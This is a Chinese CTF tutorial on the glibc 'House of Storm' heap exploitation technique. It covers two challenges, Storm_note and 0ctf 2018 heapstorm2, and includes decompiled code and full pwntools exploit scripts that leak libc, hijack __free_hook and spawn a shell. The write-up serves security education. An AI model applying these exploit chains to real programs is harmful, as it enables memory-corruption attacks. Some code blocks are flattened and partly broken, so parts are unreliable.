House of storm 结合了unsorted_bin_attack和Largebin_attack的攻击技术,实现任意地址分配chunk,任意地址写。
利用条件: 1 2 3 4 5 6 1 .需要攻击者在largebin和unsorted_bin中分别布置一个chunk , 这两个chunk需要在归位之后处于同一个largebin的index中, 且unsortedbin中的chunk要比largebin中的大2 .需要unsorted_bin中的bk指针可控 3 .需要largebin中的bk指针和bk_nextsize指针可控 4 .glibc版本小于2 .30 ,因为2 .30 之后加入了检查
largebin中size与index的对应关系 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 size index [0 x400 , 0 x440) 64 [0 x440 , 0 x480) 65 [0 x480 , 0 x4C0) 66 [0 x4C0 , 0 x500) 67 [0 x500 , 0 x540) 68 等差 0 x40 … [0 xC00 , 0 xC40) 96 [0 xC40 , 0 xE00) 97 [0 xE00 , 0 x1000) 98 [0 x1000 , 0 x1200) 99 [0 x1200 , 0 x1400) 100 [0 x1400 , 0 x1600) 101 等差 0 x200 … [0 x2800 , 0 x2A00) 111 [0 x2A00 , 0 x3000) 112 [0 x3000 , 0 x4000) 113 [0 x4000 , 0 x5000) 114 等差 0 x1000 … [0 x9000 , 0 xA000) 119 [0 xA000 , 0x10000 ) 120 [0x10000 , 0x18000 ) 121 [0x18000 , 0x20000 ) 122 [0x20000 , 0x28000 ) 123 [0x28000 , 0x40000 ) 124 [0x40000 , 0x80000 ) 125 [0x80000 , …. ) 126
利用方法 1 2 3 4 5 1 .将unsorted_bin中的bk指针改为fake_chunk2 .largebin中的bk指针改为fake_chunk+8 ,bk_nextsize指针改为fake_chunk-0 x 18 -5 , (target 为要修改的目标地址,fake_chunk为target -0 x 20 ) 来满足victim->bk_nextsize->fd_nextsize = victim(即fake_chunk-0 x 18 -5 = victim)3 .再次malloc 获得target 地址处的chunk,可修改target 地址处的值
House_of_storm的精髓所在——伪造size,如果在程序开启PIE的情况下,堆地址的开头通常是0x55或者0x56开头,且我们的堆地址永远都是6个字节,且如果是小端存储的话,减去五个字节,剩下的就是0x55了。如果提前5个字节开始写堆地址,那么伪造在size字段上面的就正好是0x55。如果后续再申请堆块时,通过对齐使0x55对齐之后和攻击者申请的size正好相同的话,就可以在任意地址上申请出来一个chunk,也就可以达成后续的任意地址写操作。 之所以是0x56是因为__int_malloc在拿到chunk后返回到__libc_malloc,__libc_malloc会对chunk的进行检查,这里如果有错的话会直接crash,必须满足以下条件之一即可:
1 2 3 1 . victim 为 0 2 . IS_MMAPPED 为 1 3 . NON_MAIN_ARENA 为 0
0x56(二进制数为0101 0110)满足条件 0x55(二进制数为0101 0101)不满足条件 但是由于程序有随机化,多运行几次总能有一次成功的。
1 2 3 4 5 6 7 unsorted_bin -> fd = 0 unsorted_bin -> bk = fake_chunklarge_bin -> fd = 0 large_bin -> bk = fake_chunk+8 large_bin -> fd_nextsize = 0 large_bin -> bk_nextsize = fake_chunk - 0 x18 -5
例题 2019 西湖论剑 Storm_note 保护全开,实现四个功能,增改删退,ida查看伪代码 init_proc()函数,mallopt()函数,设置fastbin 范围最大为0,禁用了fastbin, 之后用mmap在 0xABCD0100处分配0x30大小的空间,填充上了随机数
init_proc()函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ssize_t init_proc() { ssize_t result; // rax int fd; // [rsp+Ch] [rbp-4 h] setbuf(stdin, 0 LL); setbuf(stdout, 0 LL); setbuf(stderr, 0 LL); if ( !mallopt(1 , 0 ) ) // mallopt(M_MXFAST,0 )将global_max_fast设置为0 , // 这个值的意思是最大为多大的chunk归fastbin管理, // 设置为0 表示这个程序中不再存在fastbin。 // 即本程序禁用了fastbin。 exit (-1 ); if ( mmap(0 xABCD0000LL, 0 x1000uLL, 3 , 34 , -1 , 0 LL) != 0 xABCD0000LL ) exit (-1 ); fd = open("/dev/urandom" , 0 ); if ( fd < 0 ) exit (-1 ); result = read(fd, 0 xABCD0100LL, 0 x30uLL); if ( result != 48 ) exit (-1 ); return result; }
add函数 calloc函数来分配堆空间,因此返回前会对分配的堆的内容进行清零。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 alloc_note () { int size; int i; unsigned __int64 v3; v3 = __readfsqword(0x28 u); for ( i = 0 ; i <= 15 && note[i]; ++i ) ; if ( i == 16 ) { puts ("full!" ); } else { puts ("size ?" ); _isoc99_scanf("%d" , &size); if ( size > 0 && size <= 0xFFFFF ) { note[i] = calloc (size, 1uLL ); note_size[i] = size; puts ("Done" ); } else { puts ("Invalid size" ); } } return __readfsqword(0x28 u) ^ v3; }
edit函数 存在off-by-null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned __int64 edit_note () { unsigned int size; int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); puts ("Index ?" ); _isoc99_scanf("%d" , &size); if ( size <= 0xF && note[size] ) { puts ("Content: " ); v2 = read (0 , note[size], note_size[size]); *(note[size] + v2) = 0 ; puts ("Done" ); } else { puts ("Invalid index" ); } return __readfsqword(0x28 u) ^ v3; }
free函数 无uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 delete_note () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Index ?" ); _isoc99_scanf("%d" , &v1); if ( v1 <= 0xF && note[v1] ) { free (note[v1]); note[v1] = 0LL ; note_size[v1] = 0 ; } else { puts ("Invalid index" ); } return __readfsqword(0x28 u) ^ v2; }
一个后门函数 要想执行system(“/bin/sh”);,需要输入与程序一开始分配的随机数相同的数
1 2 3 4 5 6 7 8 9 10 11 12 void __noreturn backdoor() { char buf[56 ]; // [rsp+0 h] [rbp-40 h] BYREF unsigned __int64 v1; // [rsp+38 h] [rbp-8 h] v1 = __readfsqword(0 x28u); puts("If you can open the lock, I will let you in" ); read(0 , buf, 0 x30uLL); if ( !memcmp(buf, 0 xABCD0100LL, 0 x30uLL) ) system("/bin/sh" ); exit (0 ); }
思路 1、利用off-by-null 漏洞构造堆风水,实现堆块重叠,从而控制堆块内容。 2、House of storm,将处于unsortedbin的可控制的chunk放入largebin中,以便触发largebin attack 3、控制largebin的bk和bk_nextsize指针,通过malloc触发漏洞,分配到目标地址,实现任意地址写,将0xABCD0100处的0x30字节改为已知值,获得shell
过程 先把前面的东西写好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # coding=utf-8 from pwn import * #context(endian='little' ,os='linux' ,arch='amd64' ,log_level='debug' )sh = process('./Storm_note' ) s = lambda data :sh .send(data)sa = lambda delim,data :sh .sendafter(delim, data)sl = lambda data :sh .sendline(data)sla = lambda delim,data :sh .sendlineafter(delim, data) r = lambda num=4096 :sh .recv(num)ru = lambda delims :sh .recvuntil(delims) itr = lambda :sh .interactive() uu32 = lambda data :u32(data.ljust(4 ,'\0' )) uu64 = lambda data :u64(data.ljust(8 ,'\0' )) leak = lambda name,addr :log .success('{} = {:#x}' .format(name, addr))lg = lambda address,data :log .success('%s: ' %(address)+hex(data)) def dbg(): gdb.attach(sh ) pause() def add (size): sla ('Choice' ,'1' ) sla ('?' ,str(size)) def edit (index ,text): sla ('Choice' ,'2' ) sla ('?' ,str(index )) sa ('Content' ,text) def free(index ): sla ('Choice' ,'3' ) sla ('?' ,str(index ))
首先申请两组chunk,用来构造堆块重叠,并进入unsortedbin和largebin
1 2 3 4 5 6 7 8 9 10 add (0 x18) #0 add (0 x508) #1 add (0 x18) #2 add (0 x18) #3 add (0 x508) #4 add (0 x18) #5 add (0 x18) #6 dbg ()
然后构造两个伪造的prev_size,用于绕过malloc检查,保护下一个chunk的prev_size不被修改。
1 2 3 4 edit (1 ,'a' *0 x4f0+p64(0 x500) ) edit (4 ,'a' *0 x4f0+p64(0 x500) ) dbg ()
然后再free(1),利用off-by-null编辑chunk_0,将chunk_1的size从0x510改为0x500,由于刚才构造的两个fake chunk,此时堆块已合并
1 2 3 4 free (1 ) edit (0 ,'a' *0 x18) #off-by-null改写chunk1的size为0 x500dbg ()
再申请两个chunk,使之恢复正常,之后free掉chunk_1和chunk_2,使之合并
1 2 3 4 5 6 7 add (0 x18) #1 add (0 x4d8) #7 free (1 ) free (2 ) dbg ()
再次申请两个特定大小的chunk即可实现chunk7可以控制原unsortedbin chunk 0x4f1的bk指针,即我们可以用chunk_7来控制chunk_2(unsortedbin chunk),为便于理解我们可查看一下note这个存放全局chunk mem指针的数组
1 2 3 add (0 x30) #1 此时chunk1可以控制原unsortedbin chunk 0 x4f1 (chunk_2)的bk指针add (0 x4e0) #2 dbg ()
下面同理获得chunk8可以控制原 (largebin chunk 0x4e1 )的bk指针和bk_nextsize指针
1 2 3 4 5 6 7 free (4 ) edit (3 ,'a' *0 x18) #off by nulladd (0 x18) #4 add (0 x4d8) #8 0 x5a0free (4 ) free (5 ) add (0 x40) #4 0 x580
之后free(2),放入unsortedbin
再申请回来0x4e8(0x4f0)大小的chunk,使0x4e0大小的chunk进入largebin
1 2 3 add (0 x4e8) # put chunk8 (0 x5c0) to largebindbg ()
再次free(2),构造一个unsortedbin chunk和一个largebin chunk
1 2 3 free (2 ) #put chunk2 to unsortedbindbg ()
之后利用刚才构造的堆块重叠,修改unsortedbin chunk的bk指针为目标地址(target-0x20)
1 2 3 4 5 6 7 8 target = 0 xabcd0100fake_chunk = target - 0 x20payload = p64(0 )*2 + p64(0 ) + p64(0 x4f1) # sizepayload += p64(0 ) + p64(fake_chunk) # bkedit (7 ,payload)dbg ()
之后利用刚才构造的堆块重叠,修改largebin chunk的bk指针和bk_nextsize指针分别为fake_chunk+8,和fake_chunk-0x18-5
1 2 3 4 5 6 7 payload2 = p64 (0 )*4 + p64 (0 ) + p64 (0 x4e1) #size payload2 += p64 (0 ) + p64 (fake_chunk+8 ) payload2 += p64 (0 ) + p64 (fake_chunk-0 x18-5 )#mmap edit (8 ,payload2) dbg ()
然后申请0x40(0x50)大小的chunk,可以看到在目标地址处0xabcd00e0成功伪造fake chunk,size为0x56,巧妙的实现victim->bk_nextsize->fd_nextsize = victim
之后就是把0xABCD0100处的0x30个字节改为已知数,然后获得shell
1 2 3 4 payload = '\x00' *(0 x10+0 x30)edit (2 ,payload) dbg ()
1 2 3 sla ('Choice: ' ,'666' ) s (p64(0 ) *6 )itr ()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 from pwn import *sh = process('./Storm_note')s = lambda data :sh.send(data)sa = lambda delim,data :sh.sendafter(delim, data)sl = lambda data :sh.sendline(data)sla = lambda delim,data :sh.sendlineafter(delim, data)r = lambda num=4096 :sh.recv(num)ru = lambda delims :sh.recvuntil(delims)itr = lambda :sh.interactive()uu32 = lambda data :u32(data.ljust(4 ,'\0 '))uu64 = lambda data :u64(data.ljust(8 ,'\0 '))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))lg = lambda address,data :log.success('%s: '%(address)+hex(data))def dbg(): gdb .attach(sh) pause ()def add(size): sla ('Choice','1 ') sla ('?',str(size))def edit(index,text): sla ('Choice','2 ') sla ('?',str(index)) sa ('Content',text)def free(index): sla ('Choice','3 ') sla ('?',str(index))add (0 x18)#0 add (0 x508)#1 add (0 x18)#2 add (0 x18)#3 add (0 x508)#4 add (0 x18)#5 add (0 x18)#6 edit (1 ,'a'*0 x4f0+p64(0 x500)) edit (4 ,'a'*0 x4f0+p64(0 x500)) free (1 )edit (0 ,'a'*0 x18)#off -by-null改写chunk1的size为0 x500add (0 x18)#1 add (0 x4d8)#7 free (1 )free (2 ) add (0 x30)#1 此时chunk7可以控制原 (unsortedbin chunk 0 x4f1)的bk指针add (0 x4e0)#2 free (4 )edit (3 ,'a'*0 x18)#off by nulladd (0 x18)#4 add (0 x4d8)#8 0 x5a0free (4 )free (5 )add (0 x40)#4 0 x580 free (2 ) #unsortedbin-> chunk2 -> chunk5(chunk8)(0 x5c0) which size is largebin FIFO add (0 x4e8) # put chunk8(0 x5c0) to largebinfree (2 ) #put chunk2 to unsortedbin target = 0 xabcd0100fake_chunk = target - 0 x20payload = p64(0 )*2 + p64(0 ) + p64(0 x4f1) # sizepayload += p64(0 ) + p64(fake_chunk) # bkedit (7 ,payload)payload2 = p64(0 )*4 + p64(0 ) + p64(0 x4e1) #sizepayload2 += p64(0 ) + p64(fake_chunk+8 ) payload2 += p64(0 ) + p64(fake_chunk-0 x18-5 )#mmapedit (8 ,payload2)add (0 x40)payload = '\x00'*(0 x10+0 x30)edit (2 ,payload)sla ('Choice: ','666 ')s (p64(0 )*6 )itr ()
0ctf_2018_heapstorm2 同样是保护全开,
main 实现四个功能,增删改查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 __fastcall main (__int64 a1, char **a2, char **a3 ) { __int64 v4; v4 = sub_BE6(); while ( 1 ) { menu(); switch ( chioce(a1, a2) ) { case 1L L: a1 = v4; add (v4); break ; case 2L L: a1 = v4; up(v4); break ; case 3L L: a1 = v4; delete(v4); break ; case 4L L: a1 = v4; show(v4); break ; case 5L L: return 0L L; default : continue ; } } }
主函数里有个sub_BE6()函数,其中禁用了fastbin,并且用mmap在0x13370000处分配了大小为0x1000的chunk,从/dev/urandom中读取了3个随机数到0x13370800处,还调用了两个异或函数,由后面可知,是对chunk的头指针和size进行了异或加密,返回0x13370800给v4,这里相当于有四个随机数,第三个和第四个随机数相同
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 sub_BE6() { int i; // [rsp+8 h] [rbp-18 h] int fd; // [rsp+Ch] [rbp-14 h] setvbuf(stdin, 0 LL, 2 , 0 LL); setvbuf(_bss_start, 0 LL, 2 , 0 LL); alarm(0 x3Cu); puts( " __ __ _____________ __ __ ___ ____\n" " / //_// ____/ ____/ | / / / / / | / __ )\n" " / ,< / __/ / __/ / |/ / / / / /| | / __ |\n" " / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n" "/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n" ); puts("===== HEAP STORM II =====" ); if ( !mallopt(1 , 0 ) ) // 禁用fastbin exit (-1 ); if ( mmap(0 x13370000, 0 x1000uLL, 3 , 34 , -1 , 0 LL) != 322371584 ) exit (-1 ); fd = open("/dev/urandom" , 0 ); if ( fd < 0 ) exit (-1 ); if ( read(fd, 0 x13370800, 0 x18uLL) != 24 ) exit (-1 ); close(fd); MEMORY[0 x13370818] = MEMORY[0 x13370810]; for ( i = 0 ; i <= 15 ; ++i ) { *(16 * (i + 2 LL) + 0 x13370800) = ptr_xor(0 x13370800, 0 LL); *(16 * (i + 2 LL) + 0 x13370808) = size_xor(0 x13370800LL, 0 LL); } return 0 x13370800LL; }
ptr_xor() 1 2 3 4 __int64 __fastcall ptr_xor(_QWORD * a1 , __int64 a2 ) { return *a1 ^ a2; }
size_xor() 1 2 3 4 __int64 __fastcall size_xor(__int64 a1 , __int64 a2 ) { return a2 ^ *(a1 + 8 ); }
readd函数存在一个off-by-one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 unsigned __int64 __fastcall sub_1402(__int64 a1 , __int64 a2 ) { __int64 v3 char buf unsigned __int64 v5 ssize_t v6 unsigned __int64 v7 v7 = __readfsqword(0x28 u) if ( !a2 ) return 0 LL v5 = 0 LL while ( a2 - 1 > v5 ) { v6 = read(0 , &buf, 1 uLL) if ( v6 > 0 ) { if ( buf == 10 ) break v3 = v5 ++ *(v3 + a1 ) = buf } else if ( *_errno_location() != 11 && *_errno_location() != 4 ) { break } } *(a1 + v5 ) = 0 return v5 }
add函数 只能申请0xC 到0x1000的chunk,且chunk的头指针和size用 了异或加密,由上面的异或函数可知只是用了前两个随机数,并且我们看到chunk的头指针和size是 在0x13370800+4*0x8处开始存放的,按照mem指针+size顺序依次存放
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void __fastcall add (__int64 a1) { int i; int size; void *v3; for ( i = 0 ; i <= 15 ; ++i ) { if ( !size_xor (a1, *(16 * (i + 2LL ) + a1 + 8 )) ) { printf ("Size: " ); size = chioce (); if ( size > 12 && size <= 4096 ) { v3 = calloc (size, 1uLL ); if ( !v3 ) exit (-1 ); *(16 * (i + 2LL ) + a1 + 8 ) = size_xor (a1, size); *(16 * (i + 2LL ) + a1) = ptr_xor (a1, v3); printf ("Chunk %d Allocated\n" , i); } else { puts ("Invalid Size" ); } return ; } } }
edit函数 读入的数据+12要小于等于申请时写的size,我们读入的数据会追加上一个12字节字符串再加上一个0结尾,所以存在off_by_null但是prev_size无法控制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __fastcall edit(_QWORD *a1 ) { signed int v2 int v3 __int64 v4 printf("Index: " ) v2 = chioce() if ( v2 > 0xF || !size_xor(a1 , a1 [2 * v2 + 5 ]) ) return puts("Invalid Index" ) printf("Size: " ) v3 = chioce() if ( v3 <= 0 || v3 > (size_xor(a1 , a1 [2 * v2 + 5 ]) - 12 ) ) return puts("Invalid Size" ) printf("Content: " ) v4 = ptr_xor(a1 , a1 [2 * v2 + 4 ]) sub_1377(v4 , v3 ) strcpy((v3 + v4 ), "HEAPSTORM_II" ) return printf("Chunk %d Updated\n" , v2 ) }
free函数 不存在uaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __fastcall sub_109B(_QWORD * a1 ) { void *v2; signed int v3; printf("Index: " ); v3 = chioce() ; if ( v3 > 0xF || !size_xor(a1 , a1 [2 * v3 + 5]) ) return puts("Invalid Index" ); v2 = ptr_xor(a1 , a1 [2 * v3 + 4]) ; free(v2); a1[2 * v3 + 4 ] = ptr_xor(a1 , 0LL) ; a1[2 * v3 + 5 ] = size_xor(a1 , 0LL) ; return printf("Chunk %d Deleted\n" , v3); }
show函数 需要满足 (a1[3] ^ a1[2]) == 0x13377331才能使用该函数,也就是第2个随机数和第3个随机数异或后为0x13377331才行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __fastcall sub_11B5(_QWORD * a1 ) { __int64 v2; __int64 v3; signed int v4; if ( (a1[3 ] ^ a1[2 ] ) != 0x13377331L L ) return puts("Permission denied" ); printf("Index: " ); v4 = chioce() ; if ( v4 > 0xF || !size_xor(a1 , a1 [2 * v4 + 5]) ) return puts("Invalid Index" ); printf("Chunk[%d]: " , v4); v2 = size_xor(a1 , a1 [2 * v4 + 5]) ; v3 = ptr_xor(a1 , a1 [2 * v4 + 4]) ; sub_14D4(v3 , v2 ) ; return puts(byte_180A); }
思路 题目保护全开,我们想到的是把free_hook改为system地址,而我们首先得泄露出libc基地址,就必须利用show函数,要想利用show函数,就必须修改第3个随机数和第4个随机数的值,使它们异或后为0x13377331,随机数是在0x13370800处,我们就想到要将chunk分配到0x13370800处,程序允许我们分配最大0x1000大小的chunk,可以使用House of storm来将chunk分配到0x13370800处,这样我们不仅控制了四个随机数,还控制了chunk的全局数组
过程 先把前面的东西写好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #coding :utf-8 from pwn import *context (endian='little' ,os='linux' ,arch='amd64' ,log_level='debug' ) sh = process ('./0ctf_2018_heapstorm2' ) libc = ELF ('./libc-2.23.so' ) #命令简写化 s = lambda data :sh.send (data) sa = lambda delim,data :sh.sendafter (delim,data) sl = lambda data :sh.sendline (data) sla = lambda delim,data :sh.sendlineafter (delim,data) r = lambda num=4096 :sh.recv (num) rl = lambda num=4096 :sh.recvline (num) ru = lambda delims :sh.recvuntil (delims ) itr = lambda :sh.interactive () uu32 = lambda data :u32 (data.ljust (4 ,'\0' )) uu64 = lambda data :u64 (data.ljust (8 ,'\0' )) leak = lambda name,addr :log.success ('{} = {:#x}' .format (name, addr)) def dbg (): gdb.attach (sh) pause () def add (size): sla ('Command: ' ,'1' ) sla ('Size: ' ,str (size)) # 12 <size<0 x1000 def edit (idx,content): sla ('Command: ' ,'2' ) sla ('Index: ' ,str (idx)) sla ('Size: ' ,str (len (content))) sa ('Content: ' ,content) def free (idx): sla ('Command: ' ,'3' ) sla ('Index: ' ,str (idx)) def show (idx): sla ('Command: ' ,'4' ) sla ('Index: ' ,str (idx))
和上一题一样,先构造一个unsortedbin和largebin,并且利用off-by-null来实现控制unsortedbin chunk的bk指针和largebin chunk的bk和bk_size指针,然后再malloc chunk,将chunk分配到0x13370800处,这里要注意的是这道题的edit函数有点不同,会把我们输入的字节后面加上12字节再加一个’\x00’,所以我们每次edit都要少输入12字节即可实现0ff-by-null。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 add (0 x18)#0 add (0 x508)#1 add (0 x18)#2 add (0 x18)#3 add (0 x508)#4 add (0 x18)#5 add (0 x18)#6 edit (1 ,'\x00'*0 x4F0+p64(0 x500)) free (1 )edit (0 ,'\x00'*(0 x18-12 ))add (0 x18) #1 add (0 x4d8) #7 free (1 ) free (2 ) #1 -2 add (0 x38)#1 add (0 x4e8)#2 edit (4 ,'\x00'*0 x4F0+p64(0 x500))free (4 )edit (3 ,'\x00'*(0 x18-12 )) add (0 x18) #4 add (0 x4d8) #8 free (4 )free (5 ) #4 -5 add (0 x48)#4 free (2 )add (0 x4e8) free (2 ) fake_chunk = 0 x13370800 - 0 x20payload = '\x00' * 0 x10 + p64(0 ) + p64(0 x4f1) + p64(0 ) + p64(fake_chunk)edit (7 , payload) #修改unsorted chunk的bkpayload = '\x00' * 0 x20 + p64(0 ) + p64(0 x4e1) + p64(0 ) + p64(fake_chunk+8 ) + p64(0 ) + p64(fake_chunk-0 x18-5 )edit (8 , payload) add (0 x48)
现在我们已经可以控制0x13370800处的值了,我们把这些随机数都改为0,然后把chunk_0改为0x13370800,以此来实现控制
1 2 3 4 5 6 7 payload = p64(0 )*6 + p64(0 x13370800)edit (2 , payload) #修改了r0~r4为0 ,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0 dbg ()
之后修改0x13370800处的第三个和第四个数分别为0和0x13377331,两者异或得到0x13377331,越过show函数的检查,此时已经可以使用show函数,因为我们要泄露的unsortedbin chunk的fd指针(指向main_arena+88),我们必须在chunk的全局数组中写入0x56104462a060来show,但是程序每次运行地址不同,由上图可知fake_chunk+3处存放的就是0x56104462a060, 所以我们需要利用fake_chunk+3(unsortedbin chunk的地址)来泄露libc,我们每次把chunk0的位置写为0x13370800,就可以实现每次通过chunk0来控制0x13370800
1 2 3 4 5 6 7 8 9 10 11 payload = p64 (0 )*3 +p64 (0 x13377331) #满足show的条件 payload += p64 (0 x13370800) + p64 (0 x1000) #chunk0 payload += p64 (fake_chunk+3 ) + p64 (8 ) #chunk1 edit (0 , payload) #满足show的条件show (1 ) #我们刚刚house of storm 写的地址泄漏出来ru ("]: " ) heap = u64 (r (6 ).ljust (8 , '\x00' ))success ("heap:" +hex(heap) )dbg ()
此时我们成功泄露出unsortedbin chunk的地址,我们再修改全局数组为unsortedbin chunk的地址+0x10(main_arena+88),然后即可泄露处libc基地址
1 2 3 4 5 6 7 8 9 10 11 12 payload = p64 (0 )*3 + p64 (0 x13377331)#满足show的条件 payload += p64 (0 x13370800) + p64 (0 x1000) #chunk0 payload += p64 (heap+0 x10) + p64 (8 ) #chunk1 edit (0 , payload) show (1 ) #泄漏libc地址ru ("]: " ) malloc_hook = u64 (r (6 ).ljust (8 , '\x00' )) -0 x58 - 0 x10 libc_base = malloc_hook - libc.sym ['__malloc_hook' ] free_hook = libc_base+libc.sym ['__free_hook' ] system = libc_base+ libc.sym ['system' ] success ("free_hook:" +hex(free_hook) )dbg ()
之后我们要做到就是在全局数组里写入free hook地址和/bin/sh,将其改为system,获得shell,free_hook在chunk0处,/bin/sh\x00在chunk1处
1 2 3 4 5 6 7 8 #--------------修改 free_hook -----------------------------------# payload = p64 *4 payload += p64 + p64 #chunk0 payload += p64 + p64 #chunk1 payload += '/bin/sh\x00' edit dbg
之后改free_hook为system,free(1),获得shell
1 2 3 4 edit (0 , p64(system) )free (1 ) itr ()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 #coding :utf-8 from pwn import *context (endian='little' ,os='linux' ,arch='amd64' ,log_level='debug' ) sh = process ('./0ctf_2018_heapstorm2' ) libc = ELF ('./libc-2.23.so' ) #命令简写化 s = lambda data :sh.send (data) sa = lambda delim,data :sh.sendafter (delim,data) sl = lambda data :sh.sendline (data) sla = lambda delim,data :sh.sendlineafter (delim,data) r = lambda num=4096 :sh.recv (num) rl = lambda num=4096 :sh.recvline (num) ru = lambda delims :sh.recvuntil (delims ) itr = lambda :sh.interactive () uu32 = lambda data :u32 (data.ljust (4 ,'\0' )) uu64 = lambda data :u64 (data.ljust (8 ,'\0' )) leak = lambda name,addr :log.success ('{} = {:#x}' .format (name, addr)) def dbg (): gdb.attach (sh) pause () def add (size): sla ('Command: ' ,'1' ) sla ('Size: ' ,str (size)) # 12 <size<0 x1000 def edit (idx,content): sla ('Command: ' ,'2' ) sla ('Index: ' ,str (idx)) sla ('Size: ' ,str (len (content))) sa ('Content: ' ,content) def free (idx): sla ('Command: ' ,'3' ) sla ('Index: ' ,str (idx)) def show (idx): sla ('Command: ' ,'4' ) sla ('Index: ' ,str (idx)) #---------------布置chunk-------------------------#add (0 x18)#0 add (0 x508)#1 add (0 x18)#2 add (0 x18)#3 add (0 x508)#4 add (0 x18)#5 add (0 x18)#6 #----------------准备 unsorted chunk-----------------------#edit (1 ,'\x00' *0 x4F0+p64 (0 x500)) free (1 )edit (0 ,'\x00' *(0 x18-12 )) add (0 x18) #1 add (0 x4d8) #7 free (1 ) free (2 ) #1 -2 合并 add (0 x38)#1 add (0 x4e8)#2 #-------------------准备 large chunk-----------------------------------#edit (4 ,'\x00' *0 x4F0+p64 (0 x500))#伪造chunkfree (4 )edit (3 ,'\x00' *(0 x18-12 )) add (0 x18) #4 add (0 x4d8) #8 free (4 )free (5 ) #4 -5 add (0 x48)#4 #---------------unsorted chunk 和 large chunk 放到对应位置----------------------#free (2 )add (0 x4e8) free (2 ) #--------------修改他们是的满足条件进行 house of strom------------------------------# fake_chunk = 0 x13370800 - 0 x20 payload = '\x00' * 0 x10 + p64 (0 ) + p64 (0 x4f1) + p64 (0 ) + p64 (fake_chunk)edit (7 , payload) #修改unsorted chunk的bk payload = '\x00' * 0 x20 + p64 (0 ) + p64 (0 x4e1) + p64 (0 ) + p64 (fake_chunk+8 ) + p64 (0 ) + p64 (fake_chunk-0 x18-5 )edit (8 , payload) #修改 large chunk 的 bk 和 bk_nextsizeadd (0 x48) #2 -> 0 x133707e0 成功将申请到了heaparray附近 #-----------------------泄漏 libc----------------------------------# #由于bins中的chunk的fd,bk指向libc的地址,我们先要泄漏heap的地址 payload = p64 (0 )*6 + p64 (0 x13370800)edit (2 , payload) #修改了r0~r4为0 ,并且修改了chunk0的地址,此时的chunk0的size非常大,因为异或的是0 #dbg () payload = p64 (0 )*3 +p64 (0 x13377331) #满足show的条件 payload += p64 (0 x13370800) + p64 (0 x1000) #chunk0 payload += p64 (fake_chunk+3 ) + p64 (8 ) #chunk1edit (0 , payload) #满足show的条件 #dbg ()show (1 ) #我们刚刚house of storm 写的地址泄漏出来ru ("]: " ) heap = u64 (r (6 ).ljust (8 , '\x00' ))success ("heap:" +hex (heap)) #dbg () payload = p64 (0 )*3 + p64 (0 x13377331)#满足show的条件 payload += p64 (0 x13370800) + p64 (0 x1000) #chunk0 payload += p64 (heap+0 x10) + p64 (8 ) #chunk1edit (0 , payload) #dbg ()show (1 ) #泄漏libc地址ru ("]: " ) malloc_hook = u64 (r (6 ).ljust (8 , '\x00' )) -0 x58 - 0 x10 libc_base = malloc_hook - libc.sym['__malloc_hook' ] free_hook = libc_base+libc.sym['__free_hook' ] system = libc_base+ libc.sym['system' ]success ("free_hook:" +hex (free_hook)) #--------------修改 free_hook -----------------------------------# payload = p64 (0 )*4 payload += p64 (free_hook) + p64 (0 x100)#chunk0 payload += p64 (0 x13370800+0 x40) + p64 (8 )#chunk1 payload += '/bin/sh\x00' edit (0 , payload) #dbg ()edit (0 , p64 (system))free (1 )itr ()
参考文章House of storm 原理及利用 Largebin Attack CTF-WIKI Largebin attack总结